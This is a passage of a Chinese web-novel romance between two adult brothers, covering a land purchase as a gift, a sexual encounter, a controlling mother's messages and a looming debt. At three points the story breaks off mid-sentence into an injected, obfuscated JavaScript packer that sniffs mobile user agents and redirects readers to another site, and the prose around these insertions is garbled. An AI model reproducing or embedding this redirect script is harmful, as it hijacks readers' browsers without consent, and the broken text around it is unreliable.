“不是,你连句对不起都不会说吗?” 黛燃终于说话了,但话却不是黛烬想听的道歉。 “我没错,为什么道歉?” 黛燃不带埋怨地瞥了黛烬一眼,说话只是在陈述事实。 “你没教过我。” 黛烬却已经被情绪操控,以己度人,他无法想象黛燃只是在陈述事实,而不是在故意阴阳怪气他,抓到机会又骂。 “什么都要我教你,我是你爹还是你妈?真是少爷,这种小事咋没人教教我啊?” 黛燃闻言,诧异地看了黛烬一眼。 不怪黛烬脾气大,因为这话听起来真的很像是在阴阳怪气。 “哥也不会关水吗?” 就这短短一句话,再配合上这一眼,差点把黛烬气的旋转螺旋升天。 但黛燃说这话真的没想加重矛盾,因为他就没有要阴阳怪气别人的意识,只有遇到问题就要解决问题的想法。 他刚学会关水,他哥教他的。 既然他哥也不会关水的话…… 他忽然伸手,从洗碗池里将他哥拿去接水的碗拿起来,有样学样,又原封不动放回去,接住被关紧、现在已经不再往外滴的水流。 最后当着黛烬的面,重新打开了水龙头。 黛烬以为黛燃生气了,打算拿水泼他,怒气更盛。 却没成想黛燃只接了半碗水,就再次关上水龙头,学着黛烬演示过的样子先一下关到底,再往回轻轻掰一点。 这一次,水没再滴出来。 黛燃把半碗水放在台面上,一滴没浪费,这样接住的水下次还能用。 做完一切,他才重新看向正在全程旁观的黛烬,语气认真又耐心。 “那我教哥。” * 飘散的思绪忽然被黛烬的抽噎声叫回,听着抽噎声逐渐变小,黛燃终于试着慢慢放开黛烬。 他从兜里拿出已经充满电的手机,那是他下午去外面办事的时候,抽空在贵宾休息室里冲的。 黛燃按亮手机,时间已经在他眼前走到了算好的位置。 下一秒,手机果然按时传来新消息,他点开季随之发给他的电子转让书。 那是他给他哥买的地皮。 照时间推算,二月底三月初的时候季随之就应该把已经结算好的二月份电费账单和地契邮寄给他,但或许是这两天快递停运,东西他还没收到。 不过他有点着急,所以下午亲自去了相关单位办理地皮线下转让。 季随之答应十一点左右给他发拟好的交易合同,现在刚过十一点,这份合同很守时,来得刚刚好。 此时屋内刚好渗了点月光进来,黛燃心照不宣地没抬头看他哥的眼泪,而是先从桌上抽出两张纸递给黛烬。 黛燃自己则听他哥的先去洗手。 毕竟他得把手泡热了,马上才好给他哥解释这个准备好的新年礼物。 两人各自把自己收拾好,又默契地坐回客厅的沙发上等着电网维修。 黛燃把合同传到平常用来学习的电子板上,递给黛烬。 “哥你看看这个。” 黛烬听他的接过板子,自己慢慢划拉着合同认真看。 黛燃等他哥慢慢看,他则将事先找房屋设计师画出的几个设计图整理好,全部发到他哥的手机上。 黛烬越看这合同越奇怪。 内容他不确定自己能不能完全看懂,但是标题明晃晃地写着《地皮转让协议书》几个大字,他还不至于不认识。 地皮转让? 这什么东西,给他看这个干吗? 刚看到一半,黛烬忽然听到手机在响,一听这特殊的提示音,他便用余光不解地看坐在身边的黛燃。 这是他专门给黛燃设置的提示音。 现在黛燃就在他身边,怎么还给他发消息? 黛烬虽然疑惑,但也没问,拿手机要看,黛燃也期待地看过来。 “哥你看看我发的这几个设计图,你喜欢哪个?” 黛烬依次点开黛燃发来的几个文件,这文件很大,等了好几分钟才加载出来。 点开后他才发现这上面画的不是庄园就是别墅,最差也是大平层。 设计风格这种东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531627|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看不懂,但是贵不贵,他还是多少能看出来一点的。 黛烬咽了咽口水。 “为什么问这个?” 问他喜不喜欢这些有什么用? 他又不买。 黛燃却是真的想给他买。 “我们昨天去二三区,来接我们的那个司机叔叔不是问我们住哪儿吗?我说我们买了块儿地,哥还记得吗?” “记得倒是记得,但我以为你开玩笑呢。” 黛烬怎么会不记得,他当时还批评黛燃不能撒谎,不过黛燃没承认撒谎就是了。 黛烬边想边说,话说到一半,忽然明白了点什么。 “你不会,真买了吧?” 黛燃点头点头,又细心地解释起来。 “真的买了,位置就在七八区的三环内。离区中心最近的一环二环地皮一般不拍卖,都是政府机关用地比较多,但是三环不太一样,有时候运气好也可以买得到,所以我就买了这块儿。” 黛烬出生在七八区,也做过一段时间房屋中介和房屋销售,自然知道什么地能被划到“一环二环三环”的位置。 但他没卖过五环以内的房子,无他,据说五环以内的房价都贵得离谱,不是他们需要推销的。 更别说是“一环二环三环”这种黄金地带,虽然位置是在七八区,但是就像黛燃说的那样,这一般都是不拍卖的位置。 就连最靠近第七大道的一级市区,房价也才刚刚接近五环附近的价格。 所以三环的房价,可想而知。 但这些都和他一个生在九环,住在九环的人没关系。 黛燃现在和他说这些,是不是要搬走的意思? 黛烬不敢再细想,但还是不得不开口问。 “你买这么贵的房子,是要搬家吗?” 黛燃承认得爽快。 “嗯,是要搬家没错。” 但他很快纠正。 “不过不是‘我’,而是‘我们’。” 黛燃指指黛烬手里的转让合同。 “这块儿地现在在我名下,我打算在这上面建房子,哥选一个喜欢的设计,到时候房子写我和哥两个人的名字。” 黛燃收回手,主动抱住黛烬的脖子,将自己埋进黛烬怀里,这次脸上没了眼泪,终于可以把脸贴在他哥胸前蹭蹭。 “我不想让哥这么辛苦,这里离区中心近,我上学也方便,到时候哥名下有了房子,信誉值会拉很大一截的,也能在三环内找到一份不错的工作。 所以我们搬家好不好?” 黛燃什么都考虑好了,黛烬却先想到一个不需要黛燃考虑的问题。 “这,得花多少钱啊?” 黛烬面上在笑,心里却忽然想起了个至关重要的现实。 他爸就留给黛燃三百万,他不知道这地得多少钱,黛燃平时的消费他也没有管,黛燃现在真的还有这么多钱吗? 而且这地已经买了,那黛燃现在还有多少钱呢? 这笔钱,还能不能帮他还点债呢…… 他本想逃避,但现实一次又一次地提醒他还有一笔没还上的旧账,像一颗定时炸弹般悬在头上,悬得黛烬寝食难安。 可今天过年,黛烬实在不好意思提还债的事情,也不想看黛燃失望,他不动声色地把情绪压下去,先笑着应下来。 “燃燃都考虑好了,我需要做什么?” 黛燃沉浸在即将要和他哥拥有一个真正的家的喜悦里,没发现黛烬的异样。 “哥先选喜欢的设计吧,其实别墅和庄园我自己觉得住着差不多,主要看哥喜欢什么风格的设计,我之后托人去办。 然后室内设计我们也可以自己选,结合一下我和哥的喜好,到时候整理整理要求,我再发给室内设计师落实。” 黛燃说得快,黛烬心里藏着事,心不在焉地听漏了一部分,只得主动喊停。 “燃燃你一次说太多了,有些东西听着也复杂,哥没做过。” 黛燃兴致勃勃,又往黛烬身边坐坐。 黛烬不会的东西,他会教。 “那我教哥。” 22. 【烬】被子 处理完房子的事情,黛燃便拿着手机准备回房间。 “哥晚安,我先去睡觉了,哥忙完也早点休息。” 黛烬现在有了新工作,他回家路上就和主管申请了以后把客服工作都排到晚班,这样就能白天做新工作,晚上上晚班,两班正好错开,互不影响。 但今天的客服工作刚好是白班,他已经结束了,新工作又从明天才正式上岗,意外空出了今天晚上的时间。 晚上有空,正好用来照顾黛燃。 黛烬看着黛燃将要离开的背影,忽然出声将人叫住。 “燃燃,你那屋太冷了,搬到卧室以后和哥一起睡吧。” 黛燃脚步一顿,像是没想到他会这么说,转过身,面上难掩惊喜。 “好!” 黛烬看黛燃高兴,自己也跟着高兴,黛燃说罢便小跑去了自己房间,把东西简单收拾一下就要往卧室搬。 黛烬看黛燃跑走,自己也先回卧室。 他把枕头从床头的中间挪到边边,给黛燃腾出空间,再把床上简单收拾一下,卧室他每天都有打扫,大体上不需要怎么收拾。 床上还摆着一床他的厚被子,他之前怕黛燃睡觉冷,让人拿去先盖,现在看来,黛燃很显然没听他的话。 黛烬没多说什么,把自己原来的被子折起一半堆在旁边,让旧被子只占床面积的一半。 空出可以再放一床被子的位置后,黛烬便走到家门口,把今天下班路上新买的被子拿进卧室。 黛烬看着新被子外大红色的包装,“被子”和“辈子”被谐音用作宣传语印在上面,不免觉得荒谬又好笑。 他觉得自己挺有病的,日常用的被子,谁买这种结婚用的喜被? 但他也没办法,下班晚,只有这家婚庆公司还开着门了。 这年头没人结婚,生意还真是难做。 他把被子从包装里拆出来,从衣柜里拿出一套洗过后收好的被罩,熟练套上抖抖,再规整地铺在自己身边。 刚收拾好,一转头,就见黛燃已经换好睡衣,拿着自己的枕头站在了卧室门口,正在看他。 黛烬冲他招手,又弯腰拍拍刚铺好的新被子。 “快来。” 黛燃却站在门口没动,看起来有点纠结。 “哥,我不用先去洗个澡吗?” 黛烬收回手站直身体,转身面对黛燃,摸不准黛燃的意思。 “你想洗吗?” 黛燃神色有点不自然,说话都像是在自言自语。 “要,要洗的吧。” 黛烬总觉得有哪里不对,但也没多想,把被子铺好后便转身往卧室外走,准备给黛燃烧洗澡水。 算了,燃燃想做什么就做什么呗。 “行,外面凉,你先到被窝里窝一会儿,哥去给你烧水,再整个热水袋来,马上睡觉暖和。” 黛燃被这话说得一愣,此时黛烬正好走过他面前,两人将要擦肩而过。 黛燃马上抓住黛烬的袖子,面色错愕。 “哥,真是让我来睡觉的啊?” 黛烬:? “不然呢?” 黛烬沉默着盯黛燃,见黛燃身上换了睡衣,露在外面的皮肤却越来越红,一副欲言又止难开口的表情,黛烬终于慢半拍反应过来黛燃那话什么意思了。 这小孩儿,脑袋里成天装的都是什么东西?不学好。 黛烬接过黛燃手里的枕头,又主动去拉黛燃的手,语气戏谑。 “燃燃在想什么?” 他把黛燃的手攥在掌心里又揉又捏,看黛燃身上那片红已经晕染到耳垂了,便凑过去和黛燃暧昧地咬耳朵。 “说给哥听听。” 黛燃的身体和嘴巴像是长了两套控制系统,后者比前者开放得多,直白的话脱口就来。 “想和哥哥做。” 黛燃说到这故意停顿,黛烬也猝不及防被这大胆的话刺激到,捏着枕头的手一紧,紧接着就听黛燃继续说。 “做,昨天中午没做完的事情。” 黛烬喉结滚动,视线慢慢从上往下扫,从黛燃的眼睛一路看到鼻梁,最后停在黛燃红润的唇瓣上。 他听到了自己的声音。 “真要做啊?” 黛燃紧张地睫毛直颤,话却依旧大胆。 “要。” 黛燃这种平常看着清清冷冷的人,说起这种话来杀伤力倍增,简直比催|情的春|药还好使。 黛烬忍不住了,但他舍不得松开黛燃的手,于是干脆转身,把接过来的枕头随手丢在平坦的床上。 黛烬扔完枕头就急着转回身,趁着黛燃还在发愣的间隙,他便用空出来的手揽住黛燃的腰,两人缠绵地吻在一起。 黛燃接吻的时候,总是会下意识闭上眼睛。 黛烬却恰恰相反,根本舍不得闭上看黛燃的眼睛。 其实他心里也很忐忑,又想起黛燃昨天说找了片子来看的事情,心想这小子怕是连接吻要闭眼这事儿也一并学了去。 不愧是三好学生,学什么都快。 黛烬边亲边想。 他当初要是拿着录取通知书继续读的话,应该也是个学习的好苗子,接吻这种事情,他也是一学就精。 两个好苗子就亲了昨天一次,却快速掌握要领,接吻中途的换气都无师自通。 黛燃这次没搂他的脖子,而是用空出来的手主动脱他的衣服,黛烬第一次做这种事情,尤其对象还是和黛燃。 他难免无措,又按住黛燃作乱的手。 “燃燃说的太着急了,哥都还没买要准备的东西。” 黛燃却是有备而来,根本不给黛烬逃避的机会,直接从睡衣口袋里摸出两个套子塞到黛烬手里。 “我买了。” 黛烬有点慌乱,下意识转移话题。 “燃燃就买两个,是不是对你哥也太没信心了。” 黛燃抿抿唇,脸上越来越红,闻言又从口袋里摸啊摸,摸出几个就继续往黛烬手里塞,边塞边解释。 “我买了两盒,够用的。” 黛燃也没经验,咬着唇支支吾吾。 “要,要是不够的话,后面,后面不戴也可以……” 黛烬脑袋轰的一下炸了,控制不住一阵血气上涌,他松开捏黛燃手的手,捧着黛燃的后颈直接将人按在门板上亲。 两人连身高都差不多,像是为了彼此接吻舒服,所以特地调整过高度似的。 又亲了好一会儿黛烬才勉强压下欲望,分开唇瓣,两人额头相抵。 黛燃的脸已经彻底红透,眼睛像是含了一层薄薄的水雾,犹抱琵琶半遮面的漂亮,嘴唇也被亲得水润润的。 视线往下移,黛燃的睡衣不知何时已经被扯开了几颗扣子,里面没穿衣服,从外面可以直接看见半个裸露在外的肩膀。 黛烬闭了闭眼睛,现在是一年最冷的时候,他却觉得浑身都像是燃了火,连声音都在不知不觉中被欲望压得嘶哑。 “燃燃,是不是专门生下来勾引哥哥的?” 还没等黛燃继续说话刺激他,黛烬便将人直接打横就往床上抱。 黛燃躺下后,黛烬便也顺势欺身而上,将人牢牢禁锢在自己身下。 —略— 黛燃疼得直喘气,连呼吸都转成小口小口的,现在骑虎难下,他忍不住在心里痛骂那些拍片子还要作假的混蛋。 “这根本和,和片子里拍的不一样,哥,好疼。” 黛烬也很难受,好在他理论知识还算丰富,又和黛燃接了个吻,分开后才柔声哄人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人现在气氛正好,黛燃说话也懒得动脑子,随口便问。 “万一是女生呢?” 却没成想黛烬拒绝得又冷又干脆,一下把旖旎的气氛打得七零八落。 “那算了。” 黛燃这才意识到自己说错话,马上道歉。 “抱歉,是我忘了,哥只喜欢男的。” 黛烬捡起脱掉的衣服穿上,怕黛燃不舒服,他打算去给烧水让两人洗个澡,走出卧室门的前一刻,他脚步倏忽顿住。 两人一直没说话,话题就还停在同一个问题上。 黛烬没转身,声音闷得像宿醉喝了三场,又带着点说不出的严肃和郑重。 “燃燃,你下辈子要是个女的,就别和哥在一起了。” 黛燃看不到黛烬的脸,他勉强地笑笑,有点后悔。 真是的,早知道不问这话了,白给自己找罪受,他明知道黛烬不喜欢女生,还上赶着触霉头,蠢死了他真是—— 黛烬忽然出声打断他的心里话,转身也勉强地笑笑,他哥站在卧室门口,刚好替他挡住了从屋外透进来照亮的月光。 四目相对。 黛烬的语调格外凄凉,风从开着的门外吹进来,把黛燃的呼吸都吹短了半寸。 “哥不是个值得你托付终生的人。” “哥给不了那些你应该有的东西。” 黛烬呵了口气,像是呼吸,又像是叹气。 “哥不想耽误你。” 23. 【燃】小孩 黛烬话音刚落,只能靠月光照亮的室内就忽然一片大亮。 来电了。 电工师傅不负众望,加急修理了整个三层的电路电网。 黛烬家在三楼的最后一户,他们家来电,就代表整个三楼的电路都没有问题了。 室内亮起灯后,黛燃才终于看清了垃圾桶里用过的套子,以及失手没能丢进垃圾桶的纸团,面上好不容易褪下去的潮红又有卷土重来的意思。 他强迫自己假装没看见,在被窝里翻了个身,背对着门口和丢了纸团的地面。 黛烬把他的手机收拾到枕头下了,黛燃伸手一摸就能拿到。 手机拿起来便自动亮屏,页面亮起后就开始不停地疯狂往外弹消息。 那速度快得令人咂舌,不知道的还以为是设置了什么特殊的开屏动画。 黛燃除了面对黛烬,其他时候都处变不惊,他自打记事起就不像个小孩儿,相反,言行举止都总是带着大人的冷静。 哪怕是在吃饭的时候天塌下来,他也能认真擦完嘴再着手安排跑路。 身体好累,黛燃没有精神面对蜂拥而上的消息,下意识把身体又往被子里缩了缩,鼻息间传来无比熟悉的肥皂香。 那是他哥亲手洗过的被罩,现在正盖在他身上。 黛燃忽然就心安了,心情好不少,他随手点开手机最上方的消息弹窗。 熟练地解锁手机后,界面快速跳转到聊天软件的联系人窗口。 消息是母亲发来的。 【妈】:我现在就在你名下的私人别墅,你不在家 【妈】:今天见面的时候你撒谎,昨晚除夕,你根本就不是只出去了这么简单,佣人说你已经很久没有回过家了,什么意思? 【妈】:除了这套分割给你的别墅以外,你还私底下买了其他房产? 【妈】:还是说,你根本就没住在自己家 【妈】:跑去和你所谓的哥哥一起鬼混了? 【妈】:黛燃,你当初说想脱离临家,我不想管你,那个时候你马上就要成年了,应该有最基本的判断能力 【妈】:所以你说你想走,我放你走了,以后你过你想要的日子,我们互不干涉 【妈】:但临家是做生意的,并且目前还没找到合适的机会对外公布你已经脱离家族的消息 【妈】:在此之前你要是敢乱来,给临家带来任何负面新闻,我保证,我一定会将所有给你的东西一次性全部收回 【妈】:你不要以为我只有你一个儿子,临家的东西就只能给你一个人 【妈】:你别忘了,联盟律法规定,养子同样享受继承权,大不了我和你姨母一样收个有本事的养子 黛燃平静地看到这里,视线触及“养子”二字时终于有了反应。 他胆大包天地想,他哥也挺有本事的,如果母亲收他哥当养子的话,有了临家的扶持,他哥也可以过上想要的生活。 这念头把他自己都吓了一跳,黛燃发完呆忙点开输入框打出几行字,点击发送。 【dr】:妈做的决定我也不干涉,我们都过自己喜欢的生活,彼此相安无事,不好吗? 临漾的消息是昨天晚上发的,就连时间最近的一条也过去一两个小时了。 现在是凌晨,黛燃本以为短时间内都等不到回复,却没想到新消息很快就弹了出来,母亲像是一直守着手机等他消息一样。 不过等来的消息却不是他想看到的,那消息内容他不仅不想看,而且是他最不想看到的,最避而不谈的。 隔着屏幕,他仿佛都能看到母亲语气里的叹息。 【妈】:燃燃,你昨天已经成年,现在是个大人了,不能再当任性的孩子 黛燃想争辩。 现在已经过了凌晨十二点,他的生日在除夕,除夕在前天,所以他是前天成年的,不是昨天。 但争辩这些是没用的,黛燃也知道没用,但他还是要争,要在心里争。 因为他只能争争这个了。 他真正想争辩的东西,他根本无从辩起,就只能抓着这个无关紧要的时间问题做文章。 黛燃没回消息,和母亲的联系便断开了,他手里举着手机,本来被他哥暖热的手,现在已然再次凉透。 手被冻僵,手机没拿稳,跟个板砖似的一下砸在脸上,黛燃疼得“嘶”了一声。 他闭着眼睛伸手去摸,没摸到手机,而是先摸到了哥哥的手。 黛燃猛地睁开眼翻过身,黛烬不知道什么时候来的,地上的纸团已经被打扫干净,垃圾桶也被清理了。 他不知道要说什么,心里的褶皱都像是一瞬间被黛烬扫干净了,于是拉着他哥接了一个绵长的吻。 黛烬不能当母亲的养子,更不能当他名义上的哥哥。 因为这样他就不能和他哥结婚了。 他想和他哥结婚。 他想和他哥在一起一辈子。 黛燃把黛烬抱得更紧,带着黛烬整个身体都贴向自己。 母亲说得对,养子同样享有继承权,但是配偶也是。 他哥想要的生活。 他来给。 * 黛烬烧好水就来找黛燃。 “去洗澡吧燃燃,你自己去还是我抱你?” “哥哥先去洗。” “你别勾我。” 黛燃没反驳,而是默默在心里新增了一条他哥喜欢的表情,现在知道了这个喜好,他又去试探别的。 “真的,我好累啊哥,洗不动,哥哥先去洗吧,让我休息一下好不好?” 黛烬不敢再看他,而是把自己的手机摸出来递到他手里。 “那我先去,燃燃你帮我看着点消息。” “好。” 黛烬一走,黛燃马上收起笑容。 他用自己的生日解锁了黛烬的手机,静静地等着消息弹出来。 不带感情的就事论事,他对母亲的了解,绝对比母亲对他要多得多。 没过一会儿,一条陌生的匿名消息就意料之中地被发到黛烬手机上。 【未知联系人】:黛先生你好,我是临燃的母亲,我们昨天还碰巧在酒店见过一面,废话我就不多说了,我希望你可以尽快把燃燃送回来,如果太晚打不到车,我可以安排直升机去接他,只要你送他回来,什么条件随你提,钱和工作都行 黛燃看着长长的消息眨了眨眼睛。 还真是个坏消息。 但好消息是,他对他哥也挺了解的。 所以他替他哥回消息。 【dj】:不好意思啊临女士,我弟弟现在随我姓黛 他先捡到重点回消息,回完才一条一条地反驳其他内容。 【dj】:钱就算了,我这个人不喜欢拿别人的东西,燃燃在我这儿过得很好,他要是想回去,我自然会放他走 【未知联系人】:黛先生是不是太异想天开了,您是以什么身份说这种话? 【dj】:我是他哥 【未知联系人】:联盟律法不会认可的,没我同意,他户口迁不出去 【dj】:我不需要他的户口 【未知联系人】:我们见面说吧 【dj】:不好意思啊临女士,我们怕是见不了 【未知联系人】:黛先生是不是太小看我了,不瞒你说,只要你们人在二三区,无论是在哪个犄角旮旯我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531629|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去得了 【dj】:二三区或许是,但是我已经不在那儿了,而且我名下没有落户的房产,您应该是无从查起的 黛燃打完最后一个字便直接将陌生联系人拉黑,清掉聊天记录,拿出自己的手机开始找人。 【dr】:帮我黑掉一个号码,非本区联系人外,任何外区ip和外区号码都无法查找到此号主,更没办法与其建立通讯 黛燃处理完黛烬的退路,又慢条斯理地给自己注册了个七八区本区的号码,新建联系人到黛烬的手机里。 哥哥是他的,谁都抢不走。 忙完手头上的事情,黛烬刚好洗完澡回到卧室,上床掀开被子重新将他抱在怀里。 “还难不难受?” 黛燃不动声色地将两人的手机都塞回枕头下,自然地回拥住黛烬。 “不难受。” 他哥又摸他的手,他哥的手总是比他的暖和。 “燃燃背着我偷偷玩手机啊,手这么凉。” 黛燃却没回答这个问题,而是没头没尾地把话往自己想说的话题上扯。 “哥,我们会一直在一起吗?” 黛烬没回答“会不会”,而是问黛燃“想不想”。 “燃燃想吗?” “想。” “那就一直在一起。” 黛烬手伸到被窝里帮他揉腰。 “哥还能睡完人,提上裤子就跑啊?那也太不是人了。” 黛燃果然是最了解他哥的人。 他听到这话应该高兴的,可想到母亲的话,黛燃却怎么都笑不出来。 可能是因为他现在还在男人烦人的贤者时间吧,反正心情低落得要命。 他哥刚洗过澡,身上是热乎乎的,黛燃冰凉的手离他哥远了点,将脸埋进他哥的颈窝里,呼吸他哥的体温。 心里暖融融的,眼泪也暖融融的。 黛烬在他身边,黛燃一直强忍的情绪忽然肆无忌惮地崩掉了。 他想争辩的东西从来都不是什么幼稚的成年时间,那东西早一天晚一天谁在乎? 他真正想为其争辩的,是被时间逼着往前逃跑的他自己。 他不想跑,不想再跑了。 他想永远停下来,如果可以的话,他甚至还想再懦弱地往回退一退,缩一缩。 这个世界上或许只有他哥能让他暂时躲一躲,听他任性地辩一辩。 黛燃的声带也像是被时间死死拽着一样,连声音都委屈哑了。 “哥,我不知道我怎么就忽然长这么大了,妈妈说我已经是大人了,让我不要再任性,像个小孩儿。” 在黛烬面前,黛燃可以毫无顾忌地掉眼泪。 “哥,我为什么就忽然长大了啊?我一点都不想长大,一点都不想。” 床头的抽纸盒里没剩下几张纸了,黛烬全都抽出来,一张张给黛燃擦眼泪。 “多大点儿事儿啊,不想长大就不长大。” 看黛燃哭,黛烬也把喉间的哽咽强行咽下去。 其实黛燃比他好点,至少黛燃知道怎么做个小孩儿,吃过糖的人怎么会愿意吃苦,所以黛燃不愿意做大人很正常。 但他不一样。 他还没学会怎么做个小孩儿,就忙着学怎么做大人了。 成长这个课题,黛烬自己都学得一塌糊涂。 不过他笨鸟先飞,学得比黛燃久,在做大人这方面就比黛燃有经验。 黛烬松了口气,还好他更有经验。 黛燃说想当小孩儿,黛烬就真的像在哄小孩儿一样,一下一下从后面轻拍黛燃的背,许下的承诺温柔到醉人。 “那以后燃燃做小孩儿,哥做大人。” 24. 【烬】喜事 年初二清晨,黛烬早早起床,收拾收拾就准备出门上班。 他昨天晚上满打满算甚至都没睡到两个小时,但起床却额外有精神。 人逢喜事精神爽。 临走前,黛烬轻手轻脚地推开卧室门,看了眼还在床上安睡的黛燃。 都说人生有四大喜事。 久旱逢甘霖,他乡遇故知。 洞房花烛夜,金榜题名时。 但从没人告诉过黛烬,人这一辈子究竟要反反复复吃多少次失意苦,才能磕磕绊绊换来这四次得意时。 黛烬悄悄走近,和半睡半醒的黛燃接了个吻,黛燃被亲醒,摸到身边没有人,下意识就要搂黛烬脖子。 黛烬看黛燃困得不行,还非要强撑着想睁眼看他的样子,心软得一塌糊涂。 不过鉴于他昨天晚上已经换来了洞房花烛夜,于是今天便不再纠结于多吃几遍失意苦,他今天愿意相信吃亏是福。 黛烬将黛燃扒拉他的手拉回来,小心地放进被子里,又把被子往上拉了拉,掖住可能漏风的被角,柔声哄人。 “哥去上班了,燃燃起床了记得吃饭。” “好——” 两人昨天晚上折腾到天亮,黛燃大概是真的困懵了,又不知道怎么的睡糊涂了,嘴上说着好,头却是摇着的。 可爱得不行。 黛烬见状连忙把手机拿出来,点开视频,及时将黛燃睡懵的样子记录下来。 拍完视频,黛烬又点开自己反复欣赏好几遍,看时间不够了才恋恋不舍地收起手机准备出门。 走出卧室前,他视线无意间扫到床头的抽纸盒,里面已经空了。 黛烬认得这盒抽纸。 那是黛燃为这个家买的第一件东西。 一千一盒的抽纸,他初见时嫌贵,便丢到客厅茶几上眼不见心不烦,却没想到后来被黛燃亲手放进了他的卧室。 这纸直到昨天晚上之前都没用过几次,黛烬没想到大几十抽用起来这么快,但想想用途,他又不禁点头。 嗯,也算是物尽其用。 他今天早上收拾过地上的纸团,现在才发现这空抽纸盒也成了垃圾,黛烬走过去,带着抽纸盒一起走出卧室。 他先给空抽纸盒拍了张照,着重拍了商标那面,然后才把垃圾丢进垃圾桶,最后带着要丢的垃圾出门。 上班。 * 下班。 公交车到站,黛烬刚准备随着人流一起下车,手机就忽然响起。 他边接电话边往车下走。 “您好。” 黛烬随口打了个招呼,没想到电话对面竟是个见过一面的熟人。 “黛先生,我是临家的私人律师纪良。” 听着这一字不差的开场白,黛烬下意识环顾四周,恍惚间还以为自己穿越进了什么异世界,故事存档,时光倒流。 发现自己还在家门口,而不是在和这位纪良律师初次见面的咖啡厅后,黛烬终于放下心,又更觉荒谬。 说实话,因为他爸的事情,他对临家的人都没什么好感和耐心,但那是黛燃的家,他现在愿意爱屋及乌一下。 “有什么事吗?” 纪良的声音依旧是死板中透着礼貌。 “黛先生,银行托我嘱咐您一声,您的还款期限要到了,逾期的话,会对您的信誉值造成很大影响,请您重视。” 黛烬的好心情只在一瞬间便烟消云散。 怕什么来什么。 这句话黛烬深有体会过无数次。 “我知道了。” 黛烬说完就想直接挂电话,点击挂断键的前一秒,他脑内忽然闪过一个之前从未关注过的盲点,又把电话拿回耳边。 “你之前说临朗欠的那笔钱,是欠给银行了?” 不知为何,黛烬总觉得纪良这次回答的声音有点虚。 “是的黛先生,有什么问题吗?” 敌退我进,纪良声音虚,他就看准机会往前进一大步。 “哦,没事,我就是很奇怪啊——” 黛烬说话故意拖腔拉调的,听着就让人捉摸不透。 “你说这欠钱的人是我,又是欠银行这么大一笔钱,为什么这段时间我一没收到银行短信,二没接到银行电话呢?” 黛烬话音顿了一下,纪良不说话,他就自己唱独角戏。 “纪律师,您觉得是不是很奇怪啊?” 纪良的声音忽然变得冷了点。 “黛先生,您可能不了解我们圈子里的办事习惯,临朗先生虽然已经意外离世,但生前毕竟也算临家的人,银行还是会给他一个面子的,您又是临朗先生的儿子……” 纪良后面的话没再说,黛烬却懂了,忍不住嗤笑一声,话音里尽显讽刺。 “这么说来,我还是沾了他的光了?” 纪良没回答这个问题,而是继续公事公办地把话题拉回正轨。 “黛先生,请您尽快还款吧,需要我再提醒您一次还款日期吗?” 不等纪良说话,黛烬便直接报上精确到秒的日期。 “2104年3月30日晚上23点59分59秒前。” 黛烬一辈子都忘不掉这个日期,话音里的嘲讽更甚。 “你们一月初告诉我,指望我一个没存款的工薪阶级三月底就把两百万还上,两个月都不到啊,不说我了,哪怕是换成您这种有高薪职业的人,怕是都还不起吧?” 说及此,黛烬忽然有点好奇。 “话说你自称是临家的人,你从前是跟着谁混的?” 纪良犹豫了下,似是在思考要不要诚实回答,半晌才言简意赅。 “临朗先生。” 赶巧了,纪良的回答正中黛烬下怀。 “那正好,我挺好奇,他以前活着的时候,一个月能从临家捞多少钱啊?” “抱歉,我不能——” “不能透露当事人隐私是吧。” “是的。” “行,还挺有职业操守。” 黛烬闭门羹吃习惯了,习以为常。 他这次不等纪良说话,直接了当地挂掉电话,转身又看到路边的长椅,心情复杂。 上次坐在上面,还是为了等黛燃回家。 但这次再坐过去,是他自己想回家了。 黛烬坐在路边,看人来人往,看车水马龙。 先苦后甜,大概是吃糖吃出高血糖的蠢坏东西说出来骗人的谎言,是奸商挂在笨驴眼前换都不带换一根的蔫萝卜。 可望而不可即。 两百万,他当初知道的时候咋没去跳楼呢? 至少那个时候还算无牵无挂,除了让他妈掉点眼泪以外,死了也没啥好后悔的。 而不是像现在这样,好不容易吃完苦,刚用舌尖试探性地舔了下甜头,就贪心地什么都放不下了。 他想给黛燃发消息。 说干就干。 手机拿出来,解锁,点开聊天软件,找到置顶,打字,每一步都简单至极。 黛烬今天却做得难如登天。 打出来的字打了又删,删了又打回来,反反复复。 从开始的删一句,慢慢变成删两句,最后还是看不下去,黛烬长按全给删了。 没办法。 除了爱以外,他对黛燃开不了其他口。 黛烬忍不住责怪自己,他咋就没遗传到他爸的厚脸皮呢,纠结半晌,他最后还是发了消息。 【dj】:燃燃吃晚饭了吗? 【dr】:还没有,是哥回来了吗? 黛烬就在家楼下,却对黛燃撒了谎。 【dj】:没呢,今天可能要加班 【dr】:好,哥什么时候下班告诉我一声,我去买菜了,回去给哥做饭吃 黛烬自己都没注意到自己因为这句话而上翘的唇角和放松的姿态,他弓着身体在路边回消息。 【dj】:燃燃还会做饭呢 